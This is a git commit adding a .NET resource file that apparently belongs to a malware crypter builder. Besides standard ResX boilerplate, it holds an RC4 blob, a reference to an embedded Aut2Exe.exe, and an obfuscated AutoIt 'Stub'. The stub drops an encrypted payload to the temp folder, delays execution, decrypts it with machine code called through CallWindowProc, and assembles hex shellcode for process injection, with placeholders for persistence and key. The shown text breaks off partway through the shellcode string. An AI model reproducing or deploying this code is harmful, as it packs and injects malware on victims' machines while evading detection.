initial commit
This commit is contained in:
+261
@@ -0,0 +1,261 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="Aut2Exe" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Aut2Exe.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="rc4" xml:space="preserve">
|
||||
<value>00012C9CB5E5F589BE2460036D108057B8FFFFEF0FD048A8000000FF1E181C10706BF0E06BF060887068FFFFEF8EDB30FD9860A8FFFFEFCE5B30ED98FFFFEF8E5898000000FF52FFFFEF8E5830006BF0FFFFEFCE58308D98FFFFEFCE5898000000FF5204FFFFEFCE58B83667C05593AF98FF13FFFFEF0FD9D80BBECF54FFFFFFEF0F534888FFFFEF0FD348684FD7B8FFFFEF0F5348A8CF57B84F5498000000FF524F54308C10FFFFEF0FD0C86BF0CFD4B8006BF0015430290F577F2D13CF54B874D700001000CFD71800CF5638004F56383F2EFFFFEFFED0488810C28C88000010009B000000CD48F00C580F54988C928484EA2F7D98948C989C130155B875653500A600A60010018Cx0</value>
|
||||
</data>
|
||||
<data name="Stub" xml:space="preserve">
|
||||
<value>FileInstall("rc4.oc", @TempDir & "\\r.oc", 1)
|
||||
FileInstall("encrypted.bin", @TempDir & "\\s.c", 1)
|
||||
|
||||
Sleep(25670)
|
||||
$Z30EI = %DOSSIER%
|
||||
$Y31eptPD = %NOM%
|
||||
$Y32VFkD8 = %STARTUP%
|
||||
$D33hNXXj = %KEY%
|
||||
|
||||
$P34heOM = %INJECTION%
|
||||
|
||||
$D35DwRjW = STRINGREVERSE(FileRead(@TempDir & "\" &"\" &"r" &"." &"o" &"c"))
|
||||
$K36RSp = FileRead(@TempDir & "\" &"\" &"s" &"." &"c")
|
||||
$N37Y6 = C30ZP($K36RSp, $D33hNXXj)
|
||||
|
||||
J3228($P34heOM, $N37Y6)
|
||||
|
||||
Func C30ZP($M3132URSXaN, $H3133Ihg)
|
||||
Local $Q31348sDBrg = $D35DwRjW, $E3136UElHWx = DllStructCreate(H31SrxSm(98) & H31SrxSm(121) & H31SrxSm(116) & H31SrxSm(101) & H31SrxSm(91) & BinaryLen($Q31348sDBrg) & H31SrxSm(93))
|
||||
DllStructSetData($E3136UElHWx, 1, $Q31348sDBrg)
|
||||
Local $L3230KV = DllStructCreate(H31SrxSm(98) & H31SrxSm(121) & H31SrxSm(116) & H31SrxSm(101) & H31SrxSm(91) & BinaryLen($M3132URSXaN) & H31SrxSm(93))
|
||||
DllStructSetData($L3230KV, 1, $M3132URSXaN)
|
||||
Local $Q3234hc0 = H31SrxSm(117) & H31SrxSm(115) & H31SrxSm(101) & H31SrxSm(114) & H31SrxSm(51) & H31SrxSm(50) & H31SrxSm(46) & H31SrxSm(100) & H31SrxSm(108) & H31SrxSm(108)
|
||||
Local $R3235Vadv = H31SrxSm(67) & H31SrxSm(97) & H31SrxSm(108) & H31SrxSm(108) & H31SrxSm(87) & H31SrxSm(105) & H31SrxSm(110) & H31SrxSm(100) & H31SrxSm(111) & H31SrxSm(119) & H31SrxSm(80) & H31SrxSm(114) & H31SrxSm(111) & H31SrxSm(99)
|
||||
Local $G3236fcCV = H31SrxSm(110) & H31SrxSm(111) & H31SrxSm(110) & H31SrxSm(101)
|
||||
DllCall($Q3234hc0, $G3236fcCV, $R3235Vadv, "p" &"t" &"r", DllStructGetPtr($E3136UElHWx), "p" &"t" &"r", DllStructGetPtr($L3230KV), H31SrxSm(105) & H31SrxSm(110) & H31SrxSm(116), BinaryLen($M3132URSXaN), H31SrxSm(115) & H31SrxSm(116) & H31SrxSm(114), $H3133Ihg, H31SrxSm(105) & H31SrxSm(110) & H31SrxSm(116), 0)
|
||||
Local $D3334IjH = DllStructGetData($L3230KV, 1)
|
||||
$L3230KV = 0
|
||||
$E3136UElHWx = 0
|
||||
Return $D3334IjH
|
||||
EndFunc
|
||||
|
||||
Func H31SrxSm($K3339uZ)
|
||||
Return Chr($K3339uZ + 22 - 11 - 10 - 1)
|
||||
EndFunc
|
||||
|
||||
Func J3228($P3431SIwG2, $X3432lK)
|
||||
Local $J3433dRr = "0" &"x" &"6" &"0" &"E" &"8" &"4" &"E" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"B" &"0" &"0" &"6" &"5" &"0" &"0" &"7" &"2" &"0" &"0" &"6" &"E" &"0" &"0" &"6" &"5" &"0" &"0" &"6"
|
||||
$J3433dRr &= "C" &"0" &"0" &"3" &"3" &"0" &"0" &"3" &"2" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"E" &"0" &"0" &"7" &"4" &"0" &"0" &"6" &"4" &"0" &"0" &"6" &"C" &"0" &"0" &"6" &"C"
|
||||
$J3433dRr &= "0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0"
|
||||
$J3433dRr &= "0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0"
|
||||
$J3433dRr &= "0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0"
|
||||
$J3433dRr &= "0" &"5" &"B" &"8" &"B" &"F" &"C" &"6" &"A" &"4" &"2" &"E" &"8" &"B" &"B" &"0" &"3" &"0" &"0" &"0" &"0" &"8" &"B" &"5" &"4" &"2" &"4" &"2" &"8" &"8" &"9" &"1" &"1" &"8"
|
||||
$J3433dRr &= "B" &"5" &"4" &"2" &"4" &"2" &"C" &"6" &"A" &"3" &"E" &"E" &"8" &"A" &"A" &"0" &"3" &"0" &"0" &"0" &"0" &"8" &"9" &"1" &"1" &"6" &"A" &"4" &"A" &"E" &"8" &"A" &"1" &"0"
|
||||
$J3433dRr &= "3" &"0" &"0" &"0" &"0" &"8" &"9" &"3" &"9" &"6" &"A" &"1" &"E" &"6" &"A" &"3" &"C" &"E" &"8" &"9" &"D" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"A" &"2" &"2" &"6" &"8" &"F"
|
||||
$J3433dRr &= "4" &"0" &"0" &"0" &"0" &"0" &"0" &"E" &"8" &"9" &"1" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"A" &"2" &"6" &"6" &"A" &"2" &"4" &"E" &"8" &"8" &"8" &"0" &"3" &"0" &"0" &"0"
|
||||
$J3433dRr &= "0" &"6" &"A" &"2" &"A" &"6" &"A" &"4" &"0" &"E" &"8" &"7" &"F" &"0" &"3" &"0" &"0" &"0" &"0"
|
||||
$J3433dRr &= "6" &"A" &"2" &"E" &"6" &"A" &"0" &"C" &"E" &"8" &"7" &"6" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"A" &"3" &"2" &"6" &"8" &"C" &"8" &"0" &"0" &"0" &"0" &"0" &"0" &"E" &"8" &"6" &"A" &"0" &"3" &"0" &"0" &"0" &"0" &"6"
|
||||
$J3433dRr &= "A" &"2" &"A" &"E" &"8" &"5" &"C" &"0" &"3" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"C" &"7" &"0" &"1" &"4" &"4" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"A" &"1" &"2" &"E" &"8" &"4" &"D" &"0" &"3" &"0" &"0" &"0" &"0"
|
||||
$J3433dRr &= "6" &"8" &"5" &"B" &"E" &"8" &"1" &"4" &"C" &"F" &"5" &"1" &"E" &"8" &"7" &"9" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"A" &"3" &"E" &"E" &"8" &"3" &"B" &"0" &"3" &"0" &"0" &"0" &"0" &"8" &"B" &"D" &"1" &"6" &"A"
|
||||
$J3433dRr &= "1" &"E" &"E" &"8" &"3" &"2" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"A" &"4" &"0" &"F" &"F" &"3" &"2" &"F" &"F" &"3" &"1" &"F" &"F" &"D" &"0" &"6" &"A" &"1" &"2" &"E" &"8" &"2" &"3" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"8"
|
||||
$J3433dRr &= "5" &"B" &"E" &"8" &"1" &"4" &"C" &"F" &"5" &"1" &"E" &"8" &"4" &"F" &"0" &"3" &"0" &"0" &"0" &"0" &"6" &"A" &"1" &"E" &"E" &"8" &"1" &"1" &"0" &"3" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"8" &"B" &"5" &"1" &"3" &"C" &"6"
|
||||
$J3433dRr &= "A" &"3" &"E" &"E" &"8" &"0" &"5" &"0" &"3" &"0" &"0" &"0" &"0" &"8" &"B" &"3" &"9" &"0" &"3" &"F" &"A" &"6" &"A" &"2" &"2" &"E" &"8" &"F" &"A" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"6" &"8" &"F" &"8" &"0" &"0"
|
||||
$J3433dRr &= "0" &"0" &"0" &"0" &"5" &"7" &"5" &"1" &"F" &"F" &"D" &"0" &"6" &"A" &"0" &"0" &"E" &"8" &"E" &"8" &"0" &"2" &"0" &"0" &"0" &"0" &"6" &"8" &"8" &"8" &"F" &"E" &"B" &"3" &"1" &"6" &"5" &"1" &"E" &"8" &"1" &"4" &"0" &"3" &"0"
|
||||
$J3433dRr &= "0" &"0" &"0" &"6" &"A" &"2" &"E" &"E" &"8" &"D" &"6" &"0" &"2" &"0" &"0"
|
||||
$J3433dRr &= "0" &"0" &"8" &"B" &"3" &"9" &"6" &"A" &"2" &"A" &"E" &"8" &"C" &"D" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"1" &"1" &"6" &"A" &"4" &"2" &"E" &"8" &"C" &"4" &"0" &"2" &"0" &"0" &"0" &"0" &"5"
|
||||
$J3433dRr &= "7" &"5" &"2" &"6" &"A" &"0" &"0" &"6" &"A" &"0" &"0" &"6" &"A" &"0" &"4" &"6" &"A" &"0" &"0" &"6" &"A" &"0" &"0" &"6" &"A" &"0" &"0" &"6" &"A" &"0" &"0" &"F" &"F" &"3" &"1" &"F" &"F" &"D" &"0" &"6" &"A" &"1" &"2" &"E" &"8"
|
||||
$J3433dRr &= "A" &"9" &"0" &"2" &"0" &"0" &"0" &"0" &"6" &"8" &"D" &"0" &"3" &"7" &"1" &"0" &"F" &"2" &"5" &"1" &"E" &"8" &"D" &"5" &"0" &"2" &"0" &"0" &"0" &"0" &"6" &"A" &"2" &"2" &"E" &"8" &"9" &"7" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"1"
|
||||
$J3433dRr &= "1" &"6" &"A" &"2" &"E" &"E" &"8" &"8" &"E" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"F" &"F" &"7" &"2" &"3" &"4" &"F" &"F" &"3" &"1" &"F" &"F" &"D" &"0" &"6" &"A" &"0" &"0" &"E" &"8" &"7" &"E" &"0" &"2" &"0" &"0" &"0" &"0" &"6"
|
||||
$J3433dRr &= "8" &"9" &"C" &"9" &"5" &"1" &"A" &"6" &"E" &"5" &"1" &"E" &"8" &"A" &"A" &"0" &"2" &"0" &"0" &"0" &"0" &"6" &"A" &"2" &"2" &"E" &"8" &"6" &"C" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"1" &"1" &"8" &"B" &"3" &"9" &"6" &"A" &"2"
|
||||
$J3433dRr &= "E" &"E" &"8" &"6" &"1" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"6" &"A" &"4" &"0" &"6" &"8" &"0" &"0" &"3" &"0" &"0" &"0" &"0" &"0" &"F" &"F" &"7" &"2" &"5" &"0" &"F" &"F" &"7" &"7" &"3" &"4" &"F" &"F" &"3" &"1" &"F" &"F" &"D"
|
||||
$J3433dRr &= "0" &"6" &"A" &"3" &"6" &"E" &"8" &"4" &"7" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"D" &"1" &"6" &"A" &"2" &"2" &"E" &"8" &"3" &"E" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"3" &"9" &"6" &"A" &"3" &"E" &"E" &"8" &"3" &"5" &"0" &"2" &"0" &"0"
|
||||
$J3433dRr &= "0" &"0" &"8" &"B" &"3" &"1" &"6" &"A" &"2" &"2" &"E" &"8" &"2" &"C" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"1" &"6" &"A" &"2" &"E" &"E" &"8" &"2" &"3" &"0" &"2" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"5" &"2" &"F" &"F" &"7"
|
||||
$J3433dRr &= "7" &"5" &"4" &"5" &"6" &"F" &"F" &"7" &"0" &"3" &"4" &"F" &"F" &"3" &"1" &"6" &"A" &"0" &"0" &"E" &"8" &"1" &"0" &"0" &"2" &"0" &"0" &"0" &"0" &"6" &"8"
|
||||
$J3433dRr &= "A" &"1" &"6" &"A" &"3" &"D" &"D" &"8" &"5" &"1" &"E" &"8" &"3" &"C" &"0"
|
||||
$J3433dRr &= "2" &"0" &"0" &"0" &"0" &"8" &"3" &"C" &"4" &"0" &"C" &"F" &"F" &"D" &"0" &"6" &"A" &"1" &"2" &"E" &"8" &"F" &"9" &"0" &"1" &"0" &"0" &"0" &"0" &"6" &"8" &"5" &"B" &"E" &"8" &"1" &"4" &"C" &"F" &"5" &"1" &"E" &"8" &"2" &"5" &"0"
|
||||
$J3433dRr &= "2" &"0" &"0" &"0" &"0" &"6" &"A" &"2" &"2" &"E" &"8" &"E" &"7" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"1" &"1" &"8" &"3" &"C" &"2" &"0" &"6" &"6" &"A" &"3" &"A" &"E" &"8" &"D" &"B" &"0" &"1" &"0" &"0" &"0" &"0" &"6" &"A" &"0"
|
||||
$J3433dRr &= "2" &"5" &"2" &"5" &"1" &"F" &"F" &"D" &"0" &"6" &"A" &"3" &"6" &"E" &"8" &"C" &"E" &"0" &"1" &"0" &"0" &"0" &"0" &"C" &"7" &"0" &"1" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"B" &"8" &"2" &"8" &"0" &"0" &"0"
|
||||
$J3433dRr &= "0" &"0" &"0" &"6" &"A" &"3" &"6" &"E" &"8" &"B" &"C" &"0" &"1" &"0" &"0" &"0" &"0" &"F" &"7" &"2" &"1" &"6" &"A" &"1" &"E" &"E" &"8" &"B" &"3" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"1" &"1" &"8" &"B" &"5" &"2"
|
||||
$J3433dRr &= "3" &"C" &"8" &"1" &"C" &"2" &"F" &"8" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"3" &"D" &"0" &"6" &"A" &"3" &"E" &"E" &"8" &"9" &"F"
|
||||
$J3433dRr &= "0" &"1" &"0" &"0" &"0" &"0" &"0" &"3" &"1" &"1" &"6" &"A" &"2" &"6" &"E" &"8" &"9" &"6" &"0" &"1" &"0" &"0" &"0" &"0" &"6" &"A"
|
||||
$J3433dRr &= "2" &"8" &"5" &"2" &"F" &"F" &"3" &"1" &"6" &"A" &"1" &"2" &"E" &"8" &"8" &"A" &"0" &"1" &"0" &"0" &"0" &"0" &"6" &"8" &"5" &"B" &"E" &"8" &"1" &"4" &"C" &"F" &"5" &"1" &"E" &"8" &"B" &"6" &"0" &"1" &"0" &"0"
|
||||
$J3433dRr &= "0" &"0" &"8" &"3" &"C" &"4" &"0" &"C" &"F" &"F" &"D" &"0" &"6" &"A" &"2" &"6" &"E" &"8" &"7" &"3" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"3" &"9" &"8" &"B" &"0" &"9" &"8" &"B" &"7" &"1" &"1" &"4" &"6" &"A" &"3" &"E" &"E" &"8" &"6" &"5" &"0"
|
||||
$J3433dRr &= "1" &"0" &"0" &"0" &"0" &"0" &"3" &"3" &"1" &"6" &"A" &"2" &"6" &"E" &"8" &"5" &"C" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"8" &"B" &"5" &"1" &"0" &"C" &"6" &"A" &"2" &"2" &"E" &"8" &"5" &"0" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B"
|
||||
$J3433dRr &= "0" &"9" &"0" &"3" &"5" &"1" &"3" &"4" &"6" &"A" &"4" &"6" &"E" &"8" &"4" &"4" &"0" &"1" &"0" &"0" &"0" &"0"
|
||||
$J3433dRr &= "8" &"B" &"C" &"1" &"6" &"A" &"2" &"E" &"E" &"8" &"3" &"B" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"5" &"0" &"F" &"F" &"7" &"7"
|
||||
$J3433dRr &= "1" &"0" &"5" &"6" &"5" &"2" &"F" &"F" &"3" &"1" &"6" &"A" &"0" &"0" &"E" &"8" &"2" &"A" &"0" &"1" &"0" &"0" &"0" &"0" &"6" &"8" &"A" &"1" &"6" &"A"
|
||||
$J3433dRr &= "3" &"D" &"D" &"8" &"5" &"1" &"E" &"8" &"5" &"6" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"3" &"C" &"4" &"0" &"C"
|
||||
$J3433dRr &= "F" &"F" &"D" &"0" &"6" &"A" &"3" &"6" &"E" &"8" &"1" &"3" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"1" &"1" &"8" &"3"
|
||||
$J3433dRr &= "C" &"2" &"0" &"1" &"8" &"9" &"1" &"1" &"6" &"A" &"3" &"A" &"E" &"8" &"0" &"5" &"0" &"1" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9"
|
||||
$J3433dRr &= "3" &"B" &"C" &"A" &"0" &"F" &"8" &"5" &"3" &"3" &"F" &"F" &"F" &"F" &"F" &"F" &"6" &"A" &"3" &"2" &"E" &"8" &"F" &"4" &"0" &"0" &"0" &"0" &"0" &"0"
|
||||
$J3433dRr &= "8" &"B" &"0" &"9" &"C" &"7" &"0" &"1" &"0" &"7" &"0" &"0" &"0" &"1" &"0" &"0" &"6" &"A" &"0" &"0" &"E" &"8" &"E" &"5" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"8" &"D" &"2" &"C" &"7" &"A" &"7" &"6" &"8" &"5" &"1" &"E"
|
||||
$J3433dRr &= "8" &"1" &"1" &"0" &"1" &"0" &"0" &"0" &"0" &"6" &"A" &"3" &"2" &"E" &"8" &"D" &"3" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"1" &"1" &"6" &"A" &"2" &"E" &"E" &"8" &"C" &"A" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B"
|
||||
$J3433dRr &= "0" &"9" &"5" &"2" &"F" &"F" &"7" &"1" &"0" &"4" &"F" &"F" &"D" &"0" &"6" &"A" &"2" &"2" &"E" &"8" &"B" &"B" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"3" &"9" &"8" &"3" &"C" &"7" &"3" &"4" &"6" &"A" &"3" &"2" &"E" &"8" &"A"
|
||||
$J3433dRr &= "F" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"3" &"1" &"8" &"B" &"B" &"6" &"A" &"4" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"3" &"C" &"6" &"0" &"8" &"6" &"A" &"2" &"E" &"E" &"8" &"9" &"D" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"1"
|
||||
$J3433dRr &= "1" &"6" &"A" &"4" &"6" &"E" &"8" &"9" &"4" &"0" &"0" &"0" &"0" &"0" &"0" &"5" &"1" &"6" &"A" &"0" &"4" &"5" &"7" &"5" &"6" &"F" &"F" &"3" &"2" &"6" &"A" &"0" &"0" &"E" &"8" &"8" &"6" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"8" &"A"
|
||||
$J3433dRr &= "1" &"6" &"A" &"3" &"D" &"D" &"8" &"5" &"1" &"E" &"8" &"B" &"2" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"3" &"C" &"4" &"0" &"C" &"F" &"F" &"D" &"0" &"6" &"A" &"2" &"2" &"E" &"8" &"6" &"F" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9"
|
||||
$J3433dRr &= "8" &"B" &"5" &"1" &"2" &"8" &"0" &"3" &"5" &"1" &"3" &"4" &"6" &"A" &"3" &"2" &"E" &"8" &"6" &"0" &"0" &"0" &"0" &"0" &"0" &"0"
|
||||
$J3433dRr &= "8" &"B" &"0" &"9" &"8" &"1" &"C" &"1" &"B" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"9" &"1" &"1" &"6" &"A" &"0" &"0" &"E" &"8"
|
||||
$J3433dRr &= "4" &"F" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"8" &"D" &"3" &"C" &"7" &"A" &"7" &"E" &"8" &"5" &"1" &"E" &"8" &"7" &"B" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"A" &"3" &"2" &"E" &"8" &"3" &"D" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"D" &"1"
|
||||
$J3433dRr &= "6" &"A" &"2" &"E" &"E" &"8" &"3" &"4" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"F" &"F" &"3" &"2" &"F" &"F" &"7" &"1" &"0" &"4" &"F" &"F" &"D" &"0" &"6" &"A" &"0" &"0" &"E" &"8" &"2" &"4" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"8"
|
||||
$J3433dRr &= "8" &"8" &"3" &"F" &"4" &"A" &"9" &"E" &"5" &"1" &"E" &"8" &"5" &"0" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"A" &"2" &"E" &"E" &"8" &"1" &"2" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"0" &"9" &"F" &"F" &"7" &"1" &"0" &"4" &"F" &"F" &"D" &"0" &"6"
|
||||
$J3433dRr &= "A" &"4" &"A" &"E" &"8" &"0" &"4" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"B" &"2" &"1" &"6" &"1" &"C" &"3" &"8" &"B" &"C" &"B" &"0" &"3" &"4" &"C" &"2" &"4" &"0" &"4" &"C" &"3" &"6" &"A" &"0" &"0" &"E" &"8" &"F" &"2" &"F" &"F" &"F" &"F" &"F" &"F"
|
||||
$J3433dRr &= "6" &"8" &"5" &"4" &"C" &"A" &"A" &"F" &"9" &"1" &"5" &"1" &"E" &"8" &"1" &"E" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"A" &"4" &"0" &"6" &"8" &"0" &"0" &"1" &"0" &"0" &"0" &"0" &"0" &"F" &"F" &"7" &"4" &"2" &"4" &"1" &"8" &"6" &"A" &"0" &"0" &"F"
|
||||
$J3433dRr &= "F" &"D" &"0" &"F" &"F" &"7" &"4" &"2" &"4" &"1" &"4" &"E" &"8" &"C" &"F" &"F" &"F" &"F" &"F" &"F" &"F" &"8" &"9" &"0" &"1" &"8" &"3" &"C" &"4" &"1" &"0" &"C" &"3" &"E" &"8" &"2" &"2" &"0" &"0" &"0" &"0" &"0" &"0" &"6" &"8" &"A" &"4"
|
||||
$J3433dRr &= "4" &"E" &"0" &"E" &"E" &"C" &"5" &"0" &"E" &"8" &"4" &"B" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"3" &"C" &"4" &"0" &"8" &"F" &"F" &"7" &"4" &"2" &"4" &"0" &"4"
|
||||
$J3433dRr &= "F" &"F" &"D" &"0" &"F" &"F" &"7" &"4" &"2" &"4" &"0" &"8" &"5" &"0" &"E" &"8" &"3" &"8" &"0" &"0" &"0" &"0" &"0" &"0" &"8" &"3" &"C" &"4" &"0" &"8" &"C" &"3" &"5" &"5" &"5" &"2" &"5" &"1" &"5" &"3" &"5" &"6" &"5" &"7" &"3" &"3" &"C" &"0"
|
||||
